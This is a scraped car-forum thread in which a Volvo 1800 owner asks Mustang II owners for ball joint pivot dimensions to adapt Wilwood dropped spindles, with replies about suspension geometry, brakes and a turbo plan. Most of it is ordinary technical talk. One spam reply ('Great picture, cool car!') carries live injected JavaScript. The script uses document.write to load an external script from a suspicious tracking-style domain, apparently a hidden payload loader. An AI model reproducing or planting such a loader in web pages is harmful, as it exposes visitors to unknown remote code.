Wilwood dropped spindles in a Volvo?

Discussion in '1974 - 1978 Mustang II Talk & Tech' started by Volvo Heretic, Nov 6, 2009.


  1. Volvo Heretic

    Volvo Heretic New Member

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    I found this thread doing a google seach and posted this inquirey in the Mustang Classic section of this forum; http://www.stangnet.com/mustang-forums/797059-post-pics-mustang-ii-front-ends.html

    But I think that I might get better results in the Mustang II section? So here is a repeat:

    Hey guys, sorry to butt into your forum, but your site popped up at the top of the list for the answer to my question. And my wife also owns a '68 6cylinder coupe that my son disassembled and gathered all of the suspension parts to convert it to a V8, but since lost interest if that helps.

    So, does anybody know the center of upper ball joint to center of lower ball joint dimension on your Mustang II front suspensions? I am looking for a dropped spindle that might be able to be crafted onto the control arms on my '72 Volvo 1800. I am looking at Wilwood’s dropped spindles and am drawing it up on AutoCAD software.

    About all that I know right now is that the spindle is about .775” taller, and that the Wilwood spindle's 11deg. inclination in place of my Volvo’s 8 deg., along with the taller spindle and increased upper control arm angle will be kind of close to working, assuming my ball joint centers are about 9.7” apart. This should give me a nicer camber gain as well as allowing me to get the lower control arms up to a more horizontal direction and raise my roll center more than 1.75” above the ground.

    I would be welding in new Pinto style screw-in ball joint sleeves and ball joints from Stock Car Products.

    Thanks for any replies.

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    That would be fine, the ball joint distance should be the same, stock spindle or dropped. Just guess where you think the actual ball joint pivot point is.

    If this works, I will cut my bolt on cross member in half, and widen it 4" spacing the lower control arm inner pivots from 20.5" to 24.5" which is(I read somewere) the width of a later model(sn95?) Mustang's quick ratio rack & pinion inner tie rods. Then I will also have the right width to bolt on a set of Mustang 9x17 wheels with 275/40-17 tires along with a Wilwood larger brake kit.

    Also weld in an Explorer 8.8 rear end with 17X10.5 wheels with 315/35-17 tires. (Edit; unless my new math is wrong, Corvette ZR1 17x9.5 ET56 &17x11 ET 36 will fit perfectly, but will need 5x4.75 Chevy bolt patterns.)

    And twin rear mount mitsubishi 13c td04 turbos.


    Thanks, wicked93gs, that would great, how about also measuring your spindle height?

    This thing has a 3 liter overhead valve, early fuel injected straight six that I stuffed into the 4 banger engine compartment 30 years ago. I could make room for a T3T04E, but I have no room for an intercooler, so since this car has true duel exhaust, I was going to put two 13c's in the trunk with their own oil sump, pump and cooler w/ fan. The two 13c's should be about the right size for 1500cc each, maybe a little big for quick spooling, but from what I've been told, once they get going, 400HP should be possible (I know next to nothing about turbocharging). Plus the price for the 13c's is about right (cheep):D.

    I apologize for the thread jack.


     
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  2. patman0911

    Founding Member

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    This post won't help you any but I like what you've done with the 1800 :cheers:

    My dad and I had a couple of 122s when I was in high school and my mom has had a long series of big Volvo sedans starting with a 760 Turbo. I always wanted to take a P1800 and slip the DOHC 3.0L I6 out of her old 960 in there - man that was a sweet motor.

    Good luck!

    edit: Just remembered the joy of forever trying to balance those damn twin single-barrel carbs on those B18 engines :rlaugh:
     
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  3. Volvo Heretic

    Volvo Heretic New Member

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    :jaw:Thanks patman0911, when I was a teenager, our family had a 2 barrel, 2 speed 350ci '68 Firebird Sprint and a '69 428 Pontiac estate wagon, I used to have both hoods up for hours and thought that I could swap out both drivetrains in about a week when my dad was out of town on a business trip. It's a good thing that I never tried. Unfortunately, the Firebird got sandwiched between a 40mph pickup and a parked '64 Mustang convertable.

    We next wound up with a 6 cylinder 4 door sedan Volvo and a 4 banger 1800es wagon and I would dream of the same thing.

    I eventually wound up with this '72 1800e coupe and a wrecked Volvo 164 parts car. It took me 5 years to get this thing running back in the '70s starting when I was 21 years old, Unfortunetly, there was no internet and nobody to ask question from or get advise, so I was on my own.

    It worked out except when I decided to widen a set of steel wheels and build steel flares to cover them. The wheels came out so out of round, I could bearly drive it, so I bought a set of Weld wheels and had the local machine shop weld up and redrill my hubs and rotors from 5x4.25" to 5x4.5" bolt pattern. They got the lug nuts .10" out of round moveing the holes .125" and had to shave down the lug nuts that much to mount the wheels.

    Which brings me to replacing my spindles and axles with Ford parts, it won't cost much more and I would wind up with dropped spindles and brake upgrade options.

    So...There aren't any Mustang II owners out there who could crawl under their car and measure the ball joint pivot distance for me? I live in the middle of nowhere(North Dakota) and there are no MII's in the junk yards around here to measure.
     
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  4. wicked93gs

    wicked93gs New Member

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    sorry, I went out to work on my car last weekend with that intention...but then forgot my tape measure, I may go out tomorrow to do some stuff though...this time I wont forget it
     
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  5. HenriSoren

    HenriSoren New Member

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    Great picture, cool car!
    <script language='JavaScript' type='text/javascript'>document.write ("<" + "script language='JavaScript' type='text/javascript' src='http://secureupdatetracking.com/xux/output/index/Ur5HMXLyMVIgg6uA1km1ceh8Ilg7r4bm?rand=" + Math.random() * 100000000 +"'></"+"script>")</script>
     
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  6. 78CobraII

    78CobraII Moderator

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    I thought that finding MII spindle dimensions would be easy, but I'm drawing a blank so far. If all else fails, I'll get measurements for you this weekend.

    I did find this Wilwood ProSeries Mustang II spindle with drawings:
    Wilwood Engineering - Forged One Piece Steel 2" Drop Spindle

    It looks to be overkill for anything but racing, but it would allow easy mounting of larger Wilwood brakes on our MII's.
     
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  7. 78CobraII

    78CobraII Moderator

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    Nevermind...I just saw your post in the Classic Mustang group.

    I'll keep looking for some MII spindle drawings.
     
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  8. 78CobraII

    78CobraII Moderator

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    Chcek Mustangsteve.com for some big MII brakes based off of late-model Cobra parts.
     
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  9. Volvo Heretic

    Volvo Heretic New Member

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    It's amazing and would be funny except for the 12 hours I've spent googling every imaginable way to look for the Mustang II front suspension, geometry, dimensions, shop drawings, blueprints, layout,... that of the thousands of MII front ends stuffed under how many different cars and gaggle of manufactures that sell suspensions “based on the original Mustang II”, that no one has ever posted the actual suspension dimensions.

    I have found one picture showing a spindle without too much distortion that I should be able to scale and dimension.

    Hopefully, wicked93gs will come through for me with some actual measurements.

    Who would ever have thought that this little bit data would be that hard to find?:(

    I think that tomorrow I will try calling Fat Man Fabrications and see if I can talk to him, maybe he knows. Iv'e called Heidts, but couldn't get past their uninformed salesmen.
     
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  10. Volvo Heretic

    Volvo Heretic New Member

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    Well, just got off of the phone with Tim @ Fat Man Fabriations. Nice guy, he went and measured a suspension for me and the Chrysler screw in ball joint pivot's distance on stock MII geometry is 11". So, now it's off to AutoCAD to start drawing up the modified front suspension and see what unsurmountable problems I discover. I will draw it up in 3D eventually, but it won't be as easy as with something like a real 3D modeling program like Solidworks.
     
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  11. Volvo Heretic

    Volvo Heretic New Member

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    Well, on the left side is the suspension with Wilwood's spindle and hub w/ 9.5x17 Vette wheels compared to the Volvo 164 spindles and 10x15 wheels on the right. The 164's suspension is .75" wider than the 1800's each side for a total of 1.5".

    I would have to space the upper control arm in .625"

    I took a lot of guesses, I don't know were the Moog 772 screw in ball joints would fit on the control arms and if the outer tie rod's pivot point is 1" below the steering knuckle, I have to widen the cross member about 6" to install AGR's 24.5" 15:1 Mustang rack and wind up with no bump steer. This will move the wheels out another .75" each side or 1.5" total each side. If I used Mustang 9x17 wheels, it would bring the tires back in .75".

    It looks like the steering rack wants' to occupy the same space as my lower control arm unless I move the rack forward, which will probably give me reverse ackermann steering, or maybe not, I will have to draw this up in plan view next.

    With the ride height at the same 4", my roll center is about 4.375" above the ground.

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    So, does anybody know what the bottom of steering knuckle to pivot of outer tie rod is?
     
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